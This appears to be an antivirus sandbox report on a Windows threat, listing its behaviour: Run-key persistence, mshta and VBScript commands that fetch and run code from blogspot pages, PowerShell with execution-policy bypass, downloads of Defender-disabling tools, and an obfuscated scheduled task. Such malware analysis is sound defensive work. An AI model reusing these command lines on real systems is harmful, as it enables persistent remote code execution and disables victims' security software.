Exploit.Siggen3.16623

To ensure autorun and distribution

Modifies the following registry keys

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'DLESOLCRETSAM' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKCU:\Software).MSOFFICELO)|IEX"", 0 : wi...
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'dkkkksakdosexography' = '"mshta""http://1230948%1230948@newblogset144.blogspot.com/p/43.html"'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] '' = '"mshta""http://1230948%1230948@firstblognew123.blogspot.com/p/43.html"'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'nunukhaoo' = '"mshta""http://1230948%1230948@papagunnakjdnmwdnwmndwm.blogspot.com/p/43.html"'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'replcia' = 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKCU:\Software).nasdnasndnad)|IEX"", 0 : window...

Creates or modifies the following files

Malicious functions

To complicate detection of its presence in the operating system,

blocks execution of the following system utilities:

Downloads

http://al###-def.com/root/defendercontrol.exe as c:\users\public\defendercontrol.exe
http://al###-def.com/root/defenderkill.lnk as c:\users\public\defenderkill.lnk
http://al###-def.com/root/defender.bat as c:\users\public\defender.bat
http://al###-def.com/root/codenew.txt as c:\users\public\ff.ps1
http://al###-def.com/root/defendercontrol.ini as c:\users\public\defendercontrol.ini

Executes the following (exploit)

'<SYSTEM32>\mshta.exe' HTTp://j.#p/asdimawxiqpwoiwuerweklfnsdmj
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass & 'C:\Users\Public\msi.ps1'

Modifies file system

Creates the following files

Deletes the following files

Substitutes the following files

Network activity

Connects to

TCP

HTTP GET requests

'ne######eresee.blogspot.com':443

'bl##ger.com':443

'59############4a99-b802-7f11323388a6.usrfiles.com':443

UDP

Miscellaneous

Searches for the following windows

Creates and executes the following

'<SYSTEM32>\wscript.exe' "C:\Users\Public\ss.vbs"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File C:\Users\Public\11.ps1
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File C:\Users\Public\ff.ps1
'C:\users\public\defendercontrol.exe' /D
'C:\users\public\defendercontrol.exe' /SYS 1
'C:\users\public\defendercontrol.exe' /Q
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX' (with hidden window)
'<SYSTEM32>\schtasks.exe' /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://12##########948@getyournewblog.blogspot.com/p...' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File C:\Users\Public\11.ps1' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass & 'C:\Users\Public\msi.ps1'' (with hidden window)

Executes the following

'<SYSTEM32>\schtasks.exe' /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://12##########948@getyournewblog.blogspot.com/p...
'<SYSTEM32>\cmd.exe' /c ""C:\Users\Public\Defender.bat" "
'<SYSTEM32>\svchost.exe' -k secsvcs
'<SYSTEM32>\gpscript.exe' /RefreshSystemParam
'<SYSTEM32>\raserver.exe' /offerraupdate
'<SYSTEM32>\cmd.exe' /c ""C:\Users\Public\GoogleUpdate.bat" "
'<SYSTEM32>\mshta.exe' vbscript:Execute("CreateObject(""WScript.Shell"").Run ""p"+"ow"+"ersh"+"ell -Ex"+"ecuti"+"onPol"+"icy Bypa"+"ss & 'C"+":\Us"+"ers\P"+"ubl"+"ic\msi"+".ps1'"", 0:close")